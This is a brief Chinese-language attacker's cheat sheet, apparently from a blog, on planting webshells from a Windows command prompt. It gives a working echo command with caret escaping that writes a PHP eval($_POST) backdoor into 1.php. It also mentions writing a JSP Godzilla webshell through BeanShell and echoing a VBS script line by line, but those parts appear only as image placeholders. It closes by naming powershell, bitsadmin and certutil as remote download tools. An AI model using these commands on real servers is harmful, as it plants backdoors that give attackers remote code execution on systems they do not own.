win环境下需要转义:

  • echo写入webshell

echo ^<?php eval($^_POST[1])?^> >> 1.php

写jsp的webshell时,转义只需将"符号改为\"符号即可,以beanshell写入哥斯拉马为例:

微信图片_20210721155315

  • echo逐行写入vbs脚本后执行:

    微信图片_20210721155841

远程下载

  • powershell,bitsadmin,certurl等工具
说点什么吧...